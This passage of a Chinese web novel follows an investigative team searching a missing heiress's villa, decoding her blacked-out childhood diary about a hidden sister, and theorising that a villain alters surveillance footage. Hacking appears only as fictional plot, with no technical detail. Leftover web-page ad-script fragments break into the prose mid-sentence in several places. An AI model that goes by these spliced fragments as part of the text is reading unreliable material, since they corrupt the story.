她的气色也比之前见到的更好,目光清亮,轻盈地飘出落在别人身上,不再有之前见过的那样尖锐阴郁。 “卷发吗,是那个死男的的喜欢,配合他才更能拉近关系不是吗?”梁羲瑞抚摸发尾,一脸怜惜,“让我的头发受罪了。” “你今天是来参加谁的葬礼?” “大学的舍友,年纪轻轻就猝死了,可惜。” 见燕逸岫似乎略微诧异,梁羲瑞继续解释:“她家条件不是特别好,前几个月她们发现所住的那栋楼也出现巨大的裂缝,说不准哪天就倒塌了,住户们都在准备搬家换房子。” “你也知道,家产不达线的就会被分去地下城,地面的房价又被那些有钱有权的疯子越炒越高,普通人很难再全款买得起另一套房。” “我朋友为了攒够钱,不让家人被迫搬去阴冷的地下城,每天拼命加班赚钱,结果身体越熬越差,前几天就这么突然地猝死在工位上了。” 梁羲瑞冷笑:“说起来真是讽刺,她们部门总经理大晚上查监控发现公司灯没关、芯片没关,以为她故意在公司睡觉浪费电,气冲冲跑回公司来骂人赶人,这才发现她已经死了。” 荒诞又悲哀,多么像她们一起经历过的鬼屋冒险。 好不容易从虚假的游戏里成功逃出来,兴奋过后又意识到现实比游戏更恐怖,吃人的鬼多到数不清。 正说着,悲戚的哭号从公墓里传出,越来越近。两位几乎站不稳的中年人痛哭着,被大家扶着走出来。 “那是我舍友的父母。” 梁羲瑞摇摇头暗叹:“糟心事一件接一件,公司坚称她是自愿加班,在超出规定工作时间很久之后才猝死,属于原本可以避免的,公司不承担责任,不会赔偿。” “把人送进殡仪馆了,又听人说有些黑心殡仪馆会一炉多化,混合均分骨灰,她们赶进去查看,发现确实是一炉多化,但没看到女儿的尸体,吵了好一会儿,殡仪馆才把尸体推出来,自称是认混了。” 燕逸岫听得眉头紧皱。 不管是哪个世界,都有这么多难以想象的疯子。 梁羲瑞不在这一话题上多聊,转而问道:“你是碰巧在这儿?还是特意来找我的?” “看看你最近过得好不好,”燕逸岫一脸认真,“不知道你有没有被为难。” 梁羲瑞耸耸肩,表示为难当然是会被为难了,但她只是稍稍展示了一点自己挖出来的信息,那些人忌惮名誉影响,只能咬牙切齿噤声,不敢明面上找她闹事,但估计暗地里正筹备着怎么偷偷弄死她。 “那个人会继续帮你吗?还是说你们的杀人交易只是一次性的?” “你想听见什么答案?” 梁羲瑞把伞柄靠在肩上转了两下:“我说会,你就要派人来监视我,顺藤摸瓜找到他?我说不会,你就要提出新的交易,由警方保护我,相应的,我得提供更多线索帮你们抓他?” 燕逸岫也笑了起来:“话都被你说完了,还让我怎么开口?” 【今天去看比赛,妈妈喜欢的队伍赢了,好开心,要是\\\\\\\了。】 照片背后的话被拍了下来,图像由系统接收,祂根据每团笔迹线条的印痕深浅和位置上下的微小差异分析出走向,形成微型立体模型,再一段一段拆掉,逐渐露出底下的线条。 搜查完书房,姜韫来到办公室。 这里没有任何生活气息,全是工作相关的事物,办公桌椅、满墙公司荣誉成果、一叠叠的工作资料、充斥每个角落的咖啡香。 唯一的装点就是桌角小小的绿植,不过如今也已经枯败。 姜韫推开落地窗走到阳台往下望,草坪几个月无人打理,草叶高低不平,多了不少杂草,庭院两边都种着一排橘子树。 富豪家中一般会种更名贵更赏心悦目的树木,昆隐棋这儿却是栽种平平无奇的橘子树,伫立于豪华的别墅中显得有些格格不入。 姜韫拍了拍手套上的灰尘,记起她在昆隐棋的资料中读到过,昆隐棋对橘子橘树以及橘子味的东西情有独钟。 她还曾经高价买下某座游乐场门前的橘子树,挖走带回别墅种植。 不知道是庭院中的哪一棵。 雨渐渐小了,四周更加静谧,混着淡淡泥土味的清新空气萦绕在鼻尖。 “他是我的恩人,我不会出卖他的,虽然我也确实不知道他多少信息。”梁羲瑞直白给出答案,神色一如前几日审讯时的镇定。 燕逸岫歪头,无奈地揉揉太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阳穴,不再纠缠:“你也看见他是怎么除掉自己的帮手的,甚至就是你去下的毒,不管你心里怎么看待他,至少平时多小心些。” “好,我知道了。” 两人又闲聊了几句才分道扬镳。 燕逸岫又转起了伞,边想心事,边看着挂在伞上的雨水像摔碎的玻璃珠似的飞出去。 走过转弯后,她打开微系统检查,确认植入梁羲瑞芯片中的屏蔽破解程序正常运行着,才关闭屏幕,前往下一个目的地。 她还要去康珽叶新家附近巡视几圈,看看有没有问题,会不会又有反派的人在埋伏。 好不容易救下的证人,可不能又没了。 “姜韫,快上来四楼。”秦观秋通过微系统招呼她。 “来了。” 姜韫应了一声,出门后直接走楼梯上去,来到昆隐棋的卧室。 卧室里还保留着几样小孩子玩的东西,应该是念旧的昆隐棋特意从小时候住的老家带过来的。 “你看这个,”秦观秋正跪在地上,见她进屋了,起身把手里的一本老旧小本子递给她,“藏得好隐蔽,害我好找。” 姜韫接过来打开浏览。 这是小孩子的日记,记录着每一天发生的大大小小的事情,字迹稚嫩方正,空白处画着各种各样的彩色图案。 姜韫快速翻阅扫视一遍,发现几乎每篇内容都有几句被涂成一个个饱满的圆。 耐心地、一丝不苟地一笔笔涂抹覆盖,把每个字隐藏起来,不让别人知道写的是什么。 秦观秋边拍着裤子和手肘上的灰尘说道:“这里头也有被涂掉的,都传给系统解析试试?不知道能不能看得出,一页页涂得乌溜溜的,看久了怪瘆人的还。” 姜韫点头,将内容录给系统识别截取,加入解析。 相片后的那半句话已经快解析完了,黑色的圆缩小了一半,一小截一小截的线条正被依次拆出去。 “卧室都搜完了吗?” “差不多了,我正在摸角角落落,看有没有机关暗盒什么的。” 这时燕逸岫给姜韫发了条信息:“队长,或许还可以检查一下风铃?我记得有些风铃的设计是可以放东西的。” 姜韫扭头,目光落在悬挂窗边的风铃上,上面缀着的玻璃橘子等精巧装饰一动不动,被日光晒得褪色几分。 她踩着椅子将它拿下,风铃摇摇晃晃,抖落身上的灰尘,时隔几月再次发出清脆的声音。 姜韫和秦观秋一个个小装饰翻看检查,发现小橘子装饰的玻璃叶柄可以拔开,里面有很小的空间,倒也可以塞点东西。 拆到第四个时,秦观秋在橘子空心中找到了卷成一小段的纸条,随后姜韫也找出了另外两个。 两人小心翼翼把细长的纸条拉开,放到一起。 这些明显是长大后写的,笔迹流畅,轻重得当,是飘逸的行书字体。 “我不知道妈妈和爸爸会这样做,你恨我们吗?你恨我吗?” “不管你多恨,我都不会放弃寻找,缺失亏欠的爱以后由我来弥补。” “我希望你回到我身边……”姜韫读到这里,不由地顿住,慢慢睁大眼睛,惊讶不已。 “……姐姐。” 44. 不现于世的血亲 “棋棋,棋棋……” “妹妹,快醒醒!” 昆隐棋费力眯起眼,拽着被子翻身看向床边的人,嗓子里拖着长音哼哼。 应该是太困了所以眼睛还有些睁不开吧,昆隐棋感觉昆隐朝的面容有些模糊。 清晰的只有她眼睛旁的小黑痣,正随着笑在起起伏伏晃动着,像一颗微小的黑珍珠。 “棋棋,妈妈爸爸说可以带我去游乐园玩了!” “真的?”听到这话,她惊讶地爬起来,顿时清醒,“什么时候呀?” “马上就去!” “这么早,”昆隐棋伸出小小的手,放在姐姐小小的脸上,“也好,早去可以玩很久很久。” “嗯!不过为什么我们总是要分开出门啊……” “我也不知道,可能担心没办法同时照顾好两个吧?”昆隐棋笑着鼓起腮帮子,提高声音,“肯定是因为姐姐你总是调皮乱跑,妈妈爸爸才不放心。” 昆隐朝急得直跳:“我有听话,我以后肯定更听话,我去求求妈妈和爸爸,下次带我们一起出门,一次也行,对吧?” 她附在昆隐棋耳边说悄悄话:“上次出去玩我偷偷种了橘子籽,以后小树长大会结出你最——爱吃的橘子,我们可以一起去摘,吃完的橘子皮我给你做小灯笼。” “好啊!你种在哪里了?我以后天天去给它浇水,让它长得快一点。” “在……” 昆隐朝凑得更近,笑得说不清楚话。 “别笑啦,在哪里呀?” 在哪里? 在哪里? 在哪里? 昆隐棋摇着她的胳膊一遍遍耐心追问,但姐姐只是趴在她怀里笑个不停。 笑声越来越低,越来越淡,最后隐约化为一丝呜咽。 昆隐棋低头,却发现怀里空荡荡的,那股相拥相贴的温暖仿佛从未来临过。 “……姐姐?” 昆隐棋在昏暗中睁开眼,呼吸颤抖。 “姐姐?” 看到字条的行动组成员都错愕地重复了一遍,陷入呆滞中。 她们掌握的资料里,昆隐棋是家中独女,没有其她姐妹兄弟。 廖怀霖之前掘地三尺地把她一整个家族的资料挖了个遍都没发现任何其她年龄相近的孩子的痕迹。 昆隐棋什么时候有个姐姐了? “是不是表姐堂姐之类的?”秦观秋迟疑问道。 姜韫手指在纸条上滑动,徘徊于“妈妈和爸爸”、“你恨我们”、“缺失亏欠的爱”、“回到我身边”这几个词语上,缓慢摇头。 “用词集中于小家庭,是亲生姐妹的可能性更大。” 可怎么会半点痕迹都没留下? 医院的生产记录、医疗记录、昆家众人的信息、照片视频等记载物显示出的,全都只有昆隐棋一个。 照片可以不拍,医院记录可能有办法暗箱操作,但昆家几代人私底下从没人提起别的孩子,哪怕一个字。 她们老家里的陈设也都只有昆隐棋一人份的东西,完全看不出有另一个孩子存在。 “我查查我查查,我从头开始重新翻一遍,说不定是我疏忽没注意。”廖怀霖说道。 系统开始闪烁起黄色光芒。 第一张相片解析结束了。 【今天去看比赛,妈妈喜欢的队伍赢了,好开心,要是姐姐也能来就好了。】 姜韫立刻打给局长,与她沟通当下情况,询问有没有办法向上汇报,联系到昆隐棋父母所在的秘密研究组,争取与两人聊上几句。 这么隐秘的往事,恐怕只有问昆隐棋和她父母本人才能知道全部真相了。 另外,她也希望能派一组警员前往昆隐棋老家,做一次全面的指纹和DNA搜集筛查,看看能不能在某个角落找到陌生的痕迹。 之后,她们继续搜索别墅,带着疑惑试图找到有关昆隐棋姐姐的线索。 “找到了!”康珽叶从挎包里掏出验证卡,如释重负,赶紧将它递给门卫,不好意思地笑笑,“最近整理屋子,东西都不知道收哪儿去了,抱歉,耽误你时间了。” 警卫接过卡扫描,确认是该小区住户允许的来访通行人员,才挥挥手让他进门。 早于他几分钟进来的燕逸岫正散着步走到小区活动园,与匆匆跑向父母所住楼栋的康珽叶隔着一段距离。 她的目光又移向他的头发。 长长的,带点自然卷,像蛇一样盘在肩上。 昨晚雨势大天色暗,她一心逮人根本没注意,回警局时才发现康珽叶也是长头发的,不过更像是旅游途中任由狼尾长长,没去修剪。 当时燕逸岫忍不住多看了坐在休息室里的瘦削人影几眼,还被姜韫眼尖发现,问她发现了什么问题。 为了防止她误会,燕逸岫只好硬着头皮小小声解释自己只是喜欢他的发型而已,不是什么要紧事,与案件无关。 一个字一个字蹦出来,脸也一点一点发热。 而姜韫还是头一回听到燕逸岫谈及自己的偏好,莫名有些难以言表的惊喜。 她笑弯了眼睛,抬手捏燕逸岫的湿发拧拧水,说康珽叶的发型确实很好看,然后催促她快去换衣服吹头发,感冒就遭罪了。 目送康珽叶拎着一大袋礼物进入3号楼,燕逸岫喝了一口水解渴,指腹拨着瓶盖旋上,还是想不出为什么反派要在这时候才杀他。 趁他在外地旅游,派人去解决,伪造成意外事故岂不是更方便更顺利? 反派不可能没考虑过,但他还是耐心等着康珽叶回A省。 不太对劲。 疑问悬在心里,让人忧虑后面是否有什么更难防的阴谋陷阱。 燕逸岫放出蚊型监控,操纵它飞到康珽叶父母所住的楼层,随他开门进屋。 宋净泉坐在询问室中,接过警员递来的温水,轻声道谢,润了嗓子之后开始讲述她所了解的情况。 昆隐棋很久没露面了,之前还会时不时与她联系,回几句话,让她放心,表示自己只是在忙公司的秘密事务,目前不便透露。 但这两三天她完全失去音讯了。 她和昆隐棋在大学相识,成为好朋友,至今已经十年多了,她认为如果是连她都要始终瞒着的事,恐怕不止一点危险。 考虑到昆隐棋的秘密事务和公司影响,宋净泉纠结犹豫好几天,但最后还是决定相信自己的直觉。 钱可以再赚,可人没了就真的什么都做不了了。 “她两边的家我都去过,老家虽然也在天均区,离得不算太远,但隐棋很少回去。” 警员根据姜韫发来的内容询问有关橘子树的事情。 提到这点,宋净泉点着头回忆:“是有这事,我想想,游乐场门外那棵树是……大学刚毕业不久挖走的,那时候别墅还是毛坯,她就急急忙忙花钱挖来了。” “她说过原因吗?” “说是单纯喜欢,这棵树长得特别好看什么的……” “她院子里好几棵橘树都是山沟沟里挖来的,参差不齐,她没有强迫症也不在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 乎,天天站在树下看它们健不健康,还请了专业人员每半个月检查一次。” 昆隐棋喜欢吃橘子,宋净泉知道这点,所以家里种橘树倒也合情合理。 但有两三棵树是街边野生,大概是谁随手丢了的橘子核长成的,没有嫁接,结出来的是又小又苦的枳,完全没法吃。 但昆隐棋仍然在乎,宝贝得不得了。 “唉,谁还没点奇怪的爱好,我就没多问。” “你对她家人了解多少?” “去她老家玩的时候见过几次她的父母,很温和,话不多,在家也专心忙着科研,我不敢打扰。” “还有见过别人吗?” 宋净泉沉吟了一会儿:“哦对,也见过她姥姥姥爷一次,在大学放假期间,后来那两位老人家相继过世了。” “还有吗?” “还……还?”宋净泉愣住,移开撑着下巴的手,“没有了,隐棋妈妈这边就这些,都是一脉单传。” “她爸爸也是入赘的,老家在外地,那一支我就不清楚了,我认识她到现在都没见她去那边,平常也没听她怎么提过。” 姜韫一步步走楼梯下到一层。 姜韫记得当初监听日月的通话内容时,神秘人说过别墅里有“她一定会回去拿的东西”。 厨房、餐厅、休息室、活动室、客房、卧室、健身房还有收藏室等,她们上下里外都寻了一遍,敲墙摸砖,仍然没有找出什么特别的东西。 难道已经被反派取走了? 姜韫边思考边走到谭誉道身旁,和他一起拆机器人充电舱检查内部。 别墅里没有家居机器人。 原本外面的快递柜里有一台最新款机器人,因无人签收而自动退回,还被狙击手打了个稀巴烂。 后来姜韫请警方暗中将机器人回收检查,核实这只是普通的机器人,没有藏东西,也没有人在机器人程序里留什么暗号。 可惜不知道原先的机器人被送去哪里,她们没有查到,极有可能早已被销毁。 如果还在的话,说不定可以从它的芯片设定里翻出一些记录用来分析昆隐棋生活习惯喜好、每天活动情况之类的线索。 天色渐暗,一整日的搜证工作结束了。 姜韫把搜证录像上传备份,最后检查一遍封锁保护措施,布置好值守警员排班保护别墅后,和队友们带着一袋袋证物回警局。 与此同时,燕逸岫也暗中护送康珽叶回他的新住处,又再留了一会儿,直到便衣警员换了一轮接替监视保护,她才打道回府。 燕逸岫低着头,不按平常那样避水前行,而是故意一步步踩进有水洼的地方听个响声。 踏着一圈圈涟漪走了一会儿,她才注意到雨不知何时已经停了,清新潮湿空气里又逐渐窝起了夏日的闷,热风阵阵拂面。 街道上的饭店餐馆飘出各种菜品的香味,人们坐在灯光下,边吃边聊,门边的伞也靠成一堆,湿答答互相黏贴着。 燕逸岫收了伞站在街边,抬头仰望空中的广告大屏。 浓稠乌云压得很低,阴沉沉的,如漫天黑烟,似乎马上就要吞没薄薄的虚拟屏幕。 屏幕上播放着某部电影的宣传片段,英雄抱着受伤的人从火海中飞出,使用超能力洒下甘霖,如水神降世,英气勃发。 燕逸岫注视着她,心想这天地中能不能真有共工出现救众生,以神水扑灭七月的无妄之灾火。 明天,七月就来临了。 反派的仇恨焰火,也注定要开始借风燃烧了。 45. 日记与监控 【今天去了海边,海水很蓝,天也很蓝,我的心也变成蓝色的了,姐姐的心是什么颜色?是孤单的灰色吗? 我捡了很多漂亮的贝壳带回家送给她,她很高兴,我觉得她的心一定也变成蓝色的了。】 【今天很难过,姐姐又生病晕倒了,妈妈和爸爸很着急,带她出门看病了。 我跪在地上求菩萨保佑姐姐平安,如果需要代价,就用我的命吧。】 【姐姐终于回来了,又变成原来的样子了,她身上都是车子的味道,一定坐了很久很久的车,我不喜欢这个味道,但是姐姐没事就好,我可以努力喜欢这个味道。】 【今天妈妈和爸爸买了好多橘子给我,可以吃好几天,我在吃,姐姐在用橘子皮给我做小灯笼。 姐姐好忙,我喂她吃。】 【今天妈妈和爸爸带姐姐出去玩了,轮到我守护家,不让坏人进来。 姐姐好开心,带了好几种玩具回来给我。】 …… 系统还在拆解着一篇篇日记内容。 没别的事情需要做,祂缩成一片小屏幕,在众人之间飘来飘去,像绕着大人转的小孩子似的。 时隔多日,行动组全部成员又来到秘密基地集合。 鬼屋老板陈礼的线索目前找不到多少,这个假身份名下只有一张卡,用来发工资和经费。 资金进账路线经过加密,自动跳转了无数虚拟卡,这些卡号是机器随机生成选择,所以很难反向找出开头的真卡。 廖怀霖说这条线可能还有用,还不到舍弃的时候。 她写了个连接系统的破解程序放进去,只要这张卡再次被使用,程序有得发挥作用,就能抓到一点线索。 季渊知的药物检测工作也完成了第一阶段。 她和药物学专家共同研究讨论,总结出一份毒物的初步分析报告。 其中有两种未知成分待定,目前仍然无法解开它们是怎么研制出的,专家们还在与之作斗争。 姜韫打开自己的屏幕,找出三份文件:“正好,警方派人前往那三家顶尖的研究所沟通过了。” 目前反派的案子与研究院没有任何直接的关联牵扯,警方无法派自己人去亲自调查,只能先以询问形式了解,拿到对方出具的证明材料。 “研究院人员表示经过几天的统计,都没有发现药物数量不对等问题,没有失窃,一切正常。” “是吗?”季渊知低头划着页面,无声笑了笑,“她们查的结果怎么跟我们查到的不一样?” 她展示出两份内容与原版稍有差异的文件。有问题的数据页被抽出来标注,排放在一起。 姜韫早料到对方会有隐瞒,因而在联系对方负责人告知情况前,她让廖怀霖先黑进每家研究院的明数据库和暗数据库里,将所有资料拷贝回来备份,交给季渊知核算。 越是高层,背地里的肮脏事就越多,哪会轻易示人,因此必须在对方销毁证据前抢到真实资料。 “三所研究院,其中两所都有情况。” 天祐药物研究院——每个月都有少量的G060D从库房凭空消失,无出库和使用记录。 护民制药研究所——上个月暗地里购买了一批超过实际上报数目的药物VK3251,多余部分不知所踪。再往前查,能发现她们每隔几月都会多购入一批某类药物,不知道用去哪里。 G060D是从国外引进的特殊药物,非原研药,主要用于延缓各类罕见突发性重疾发作,一粒百万,保一个月平安。 VK3251是一种抗癌特效药的主要成分,目前研发使用较为普及。 姜韫在心里理清规划后说道:“这部分内幕深,麻烦多,接下来观秋和誉道也都负责查研究院这块,和渊知、怀霖打配合,尽量多挖出些线索来,外勤交给我。” “明白。” 【姐姐说羡慕我,我也羡慕她,她心灵手巧,会好多东西。】 【挑食被妈妈和爸爸说了,我就爱吃橘子,别的水果都不好吃。】 【羡慕姐姐,她从不挑食,什么都爱吃,妈妈爸爸都夸她,说这样营养均衡才会长高,才能快点长大。】 【和姐姐捉迷藏,我躲进了工作室的柜子里,把好多纸弄皱,被妈妈和爸爸说了。 密密麻麻的字,看不懂,以后就看得懂了。】 【妈妈爸爸教姐姐跳舞,好厉害的样子,但是她们不教我,说我不用学,姐姐身体不好才要锻炼。】 系统屏幕还在身旁晃来晃去,姜韫便将注意力放到祂身上,抓住屏幕固定在面前,大致浏览一遍。 “被涂掉的内容都是有关姐姐的。” 从藏在风铃里的纸条内容中能读出昆隐棋似乎并不知晓内情,这些抹杀存在的举动很可能是她的父母所为。 为什么刻意把所有有关大女儿的痕迹覆盖遮掩掉? 难道与她生病体弱有关? 昆隐棋确定姐姐还活在世上所以一直在找她吗? 昆隐棋这条线的疑问,队员们一起探讨了一个多小时才结束。 这一阶段结束后,燕逸岫挪到乔琅和廖怀霖身旁,偷感很重地拽她们的衣角。 “那个,我有一个想法……关于监控里日月的行踪,但是……” “什么?”两人听到她的话,瞬间两眼发光,一齐凑得更近。 听到她们俩的说话声,其她人也朝这儿看过来。 燕逸岫后退半步拉开距离,不安地念叨:“等等等等,不是,有很大的漏洞,肯定猜错了,只是一个方向猜测,你们不要抱这么大期待。” 让别人失望会让她有愧疚感,下次就不敢再站出来表达自己的想法,给予别人积极反馈,害怕让对方又白白高兴一场。 对方失望,她自己也会对自己失望。 “猜错就猜错,有什么的。”一向风风火火的廖怀霖等不及她转百八十个弯的心理准备,将燕逸岫一把拉到桌边。 “猜错了不是正好排除一项缩小范围?这也是进展嘛,而且说不定也是线索。” 乔琅也赶紧坐下,调整屏幕做准备,边说道:“对啊,你好歹有想法,我们到现在还没想出什么所以然来呢,快说说快说说。” 燕逸岫缩在两人中间,后面围了一圈人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,深感压力巨大,呼吸困难。 她视死如归地低下头:“有没有可能……监控里的人被替换了?” “什么意思?” 燕逸岫挠挠脸颊,又抱起手臂:“我在想对方系统会不会有这方面篡改监控的能力,类似于把其它地方的路人影像和日月的替换掉?这样一来,就好像她从监控里凭空消失了似的。” 脑海里会冒出这一猜测,是因为昨天跟踪完康珽叶后,她因七月的杀人预告而忧心忡忡,站在街上不知不觉开始出神。 来来往往的行人挤在一起,冷漠的脸,速度不一的脚步,行走带起的风和纷飞的思绪。 如果和路人不慎撞上了肩膀,她们也不会回头停留,只往旁边侧两步就继续前行。大家一句话也不说。 她们相遇,她们擦肩而过,街上无数人擦肩而过。 擦肩而过的那一刹那,两个陌生人仿佛交叠融合,又再次抽离独行。 也就是注意到了那瞬间的重叠,燕逸岫脑海中忽然浮起怪异的念头。 她的目光再度聚焦,站在街边继续观察,沉滞的思绪晃晃悠悠盘旋起来。 如果是这样的话…… 乔琅扬起眉,若有所思:“如果是这样的话,步行姿态特征对不上的谜题也能解开了,因为监控显示出来的已经完全换了个人。” 燕逸岫打量两人的神情,补充道:“但有个漏洞,替换监控内容也只是改变监控而已。” “如果路人对于自己今天在街上看见过什么样的人有印象,我们就能得到真正的线索摸索找人,对于反派方来说太冒险了。” “不,不冒险,足够了,”姜韫在她背后出声,“监控会留下证据,会被乔琅这类技术人员研究分析,自然要下功夫伪造欺骗。” “但路人不用,一面之缘而已,大家顶多记得容貌和穿着打扮,不会精细到分析周遭每个人的步态特征并一直留在记忆里。” “只要不是不同常人的特征,路人一般是不会记太清的。” 廖怀霖也想通了其中连结:“日月每隔一段时间换套不同的打扮,系统再把监控里的留下的人影多次替换。” “这样一来,就算我们发现监控造假,去寻找路人求证,得到的线索也与先前不一样,无法追查。” “对,另外……” 燕逸岫愣愣听着,视线在众人之间打转,等大家激烈讨论完,她才确定自己的想法居然真的说得通。 乔琅直起腰:“等等,如果反派真是用了这种方法帮日月,那么昆隐棋也是如此?她和日月一样,都是莫名其妙消失不见了。” 温簌已经考虑到这一点,摇摇头回答:“好像不太合理,昆隐棋已经背叛反派组织了,反派正忙着四处抓人,没理由再花时间替换监控,为她隐瞒踪迹。” 而且,如果真是在帮她篡改监控,说明反派能找到对方,也不至于这么久都逮不到人。 “确实……” “我倒是想到另一件可能有关联的事情。”姜韫的表情变得严肃,屈起的指节在下巴慢慢点了几下。 “康珽叶的目击证词。” 46. 七月之火:火星 【今天过生日,吃到了好大好大的蛋糕,上面也有橘子,姐姐把橘子都给我吃。 听说今天还有流星,我和姐姐不能同时站在窗户边,只能轮流看,我等了好久都没看到。 后来姐姐说她看到了流星,帮我许愿了,我就开心啦,姐姐许愿也一样。 好希望以后能和姐姐一起看流星,一起许愿。 我和姐姐长得像,到时候神仙会不会弄混我们两个人的愿望呢? 我的愿望是……现在保密,说出来就不灵了。】 姜韫翻出先前的证词记录:“康珽叶目击到的人,是在一小时前就死无全尸的被害者。” “看起来像是凶手准备了相同的衣服和假发扮成被害者,用来伪造被害者生前的行踪痕迹,扰乱警方梳理案情。” “既然现在我们有了系统替换能力的推测,或许可以猜得更大胆些。” “他是不是可以直接变成任何他想假扮的人?” 穿着打扮可以买同款,发型发色可以改变,但监控里的影像和康珽叶目击估测的“被害者”身高身材都和死者本人十分相近。 说是巧合也合情理,又有些微妙。 如果设想反派有这样的异能,也解释得通为什么他犯下多起凶案却从未留下有关联的线索证据。 谭誉道拉了张椅子坐下,抬头看向姜韫:“如果他有这么神的能力,为什么要多此一举删除监控?他变成另一个人离开就可以了,完全不用暴露自己拥有操纵监控的特殊能力。” “他是故意的。” 删除案发时段监控,就会给办案人员固定心理预设,先入为主判断他是以本尊面目出现或是害怕自己的某些行为特征会被侦查人员识破,所以才需要把证据完全清除,不留任何痕迹。 如果监控完好无损,但她们没从其中发现哪张脸、哪个身形多次出现在现场附近,自然就会往别的方向怀疑。 万一自己的替换能力太早被猜到,之后犯案就又要多费心思。 廖怀霖又问系统:“这种替身异能你能实现吗?” “嗯……理论上可以,但我做不到,实体替换需要很强的精神意念,才能达到骗过外界的效果,我的宿主没有足够的精神力量。” 了解得越多,她们越好奇宿主到底是何方神圣。 很多领域力不从心,无法像反派系统那样二次升级,但却能召唤系统把她们从异世界带过来。 “宿主没有,我们说不定有,我们追查反派很需要。” 系统沉默几秒后回答道:“实体替换只能施加给宿主本人,无法作用于外人,因为这一能力需要直接连接宿主的意识。” “系统吸收你的意念,知道你想变成什么人,才能成功替换。说到底这只是一种视觉屏障,你还是你,但别人看到的不是你而已。” 听到这话,大家略感失望,又稍稍松了一口气。 如果反派系统能随心替换任何人,那她们说不准连他的手下都找不到,更别说反派本人。 “好,一步步来,我们先把日月的行动轨迹挖出来。” 乔琅说完又皱起脸:“没有范围限制,那不是全世界同一时间里的人都可能被替换?这得找多久?” “很快的,交给你了,系统。” 系统立刻分出另一个屏幕来处理监控工作。 姜韫让乔琅找出日月最后出现的时间点,以此为终点往前框定五小时,将街道监控和大楼室内监控截取出来,以这段视频里的人为参照物。 乔琅最后找到细长眼女人是从一栋大楼里走出来的,在此之前她在楼里待了多久不得而知,所以把时间范围设置长一些,找到的概率会更大。 再由系统调取世界范围内同一日期和时间段的海量监控进行对比。 屏幕上的光芒快速闪烁着。另一个小屏幕仍然慢悠悠亮着光。 【姐姐说以后自己也要当医生,因为她总是不记得是谁为她治病。 爸爸说医生会给小朋友注射药水,忘记住院的经历,下次再去医院就不会哭,不会害怕打针吃药和做手术了。 姐姐不记得,所以一直都不怕,她想谢谢医生,所以以后也要当医生帮助别的小朋友。】 “真有这种药?”季渊知狐疑地再读了一遍刚刚解析出的内容,开始回忆自己目前接触过的药物。 在新世界待了一年多的三人都摇头。 “没有,至少明面上没听说哪家医院有。” 季渊知低头凝神思索,手指在镜框上摩挲。 会是什么成分能制出失忆药,甚至是可以控制失忆时长的失忆药。 之后倒是可以研究一下。 屏幕上的蓝光骤然变成绿色,表示对比成功。 乔琅的目光在两段视频之间来回扫,很快神色变得欣喜:“没错,逸岫的想法是对的。” “你们看这个人,在两段视频里不止衣服相同,步态和姿势都一模一样,完完全全一致。” “这个身影就是被复制过来替换狙击手日月的。” 有了突破性进展,大家眼中都亮起激动的光芒。 “那就按这一方向逐步去查,看看最后能找到哪里,其她人也继续手头的任务,争取早日完成这一阶段的调查。” “没问题。” 知道燕逸岫性子如何,姜韫在众人面前只笑着拍拍她的背,没直白说什么让她感到太拘束。 日子在奔波忙碌中如淌下的汗水般一天天流走消失了。 燕逸岫今天暗中监视康珽叶,明天去川城蹲守观察石见微一家,后天去地下城见虞瓷,确认帮派易主之事没有暴露,又去两所药物研究院附近踩点,还要去C大看看彭嵘。 已经进入期末周,她和其她学生一样都忙于期末考试。 燕逸岫找了合适的时机出现在她面前,与她确认反派有没有联系她做什么事,帮派成员有没有动静。 彭嵘摇头统统否认。 “不信你看电子手铐记录,我遵守交易条约,安分守己,警方还监控了我的通讯,我可没办法闹出什么事来。” “没声响很正常,对方从不会接连安排任务给我,以防我频繁出现在警方视野会被注意到。” 瞧着彭嵘笑眯眯注视自己的样子,燕逸岫莫名觉得彭嵘似乎还是想杀她。 她抱着两本书,手指一下下拨着页角,像在抚摸刀刃。 燕逸岫如鲠在喉。 “……你在想什么?” “没什么,只是感慨交易失效后我和你就没有交集了,再也看不到和我哥很像的人了。” 哪可能这么轻易就放过你,燕逸岫皮笑肉不笑,心中腹诽。 “连笑都快提不起来了,”彭嵘换了一边手抱书,“果然是忧思过重太疲惫吧,难道最近发生了什么大事?” 她敏锐察觉到校园里的安保悄然加强了,以往都只是机器人在晃悠巡视,管理人在总控室睡大觉。 但这几天管理人不摸鱼了,和机器人同步,一天巡逻三次,勤快得不得了。 她起得早睡得晚,所以 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都看在眼里。 近期没听说有领导准备莅临视察,学生里也没有闹出什么风波。校方会无征兆地提高警戒,大概率是外面出事了。 燕逸岫本身就是带着警方的指示来的,便把反派的杀人预告展示给她。 “关于这些,你有什么想法吗?他曾经提过相关的计划吗?” 看完内容,彭嵘也诧异地眨眨眼,意想不到:“好家伙,他居然主动挑衅了,不像他的行事风格啊,你们做了什么激怒他的事?” “就……把一个差点被杀的证人救回来了。” 彭嵘啧啧几声,叹气说道:“可惜,我怎么正好错过了这场戏,唉,要是能在现场就好了。” 她感慨完后抬头直视燕逸岫:“不过,我也看不出什么,他安排任务从不会提前太久,而是在前一天确认我的空闲时间,执行当天才告诉我具体任务内容。” “大约是防范我哪天一抽风反水了投奔警察吧,只要间隔短,就算警察知道了也来不及做好准备去阻止他。” 没从彭嵘这里得到多少情报,燕逸岫便离开学校回去继续其它任务了。 再一次注意日期时,七月已经走完九天了。 一切仍然风平浪静。 但警方和行动组成员知道,燃烧着的厄运已经伏于上空,融入酷暑热气中,等待合适的时机吞噬平静。 在反派发出杀人预告后,警方就重新分配人力,暗中加强对城市的巡逻和检查,同时指示技术人员高强度监测网络,截获可疑信息。 在各方面不断戒备,只希望能提前觉察一星半点的端倪。 所有知情人都能听到逐渐清晰的呼吸声,那是来自深渊的黑影正在靠近。 他故意放慢脚步,让所有人心弦紧绷,焦虑烦躁。 每多平安度过一天,不详的预感就越强烈。 燕逸岫用力揉揉眼,刚一移开手,眼皮又快速跳了两下。 这两三天她的左眼皮老是跳个不停。 左眼跳财右眼跳灾还是左眼跳灾右眼跳财来着? 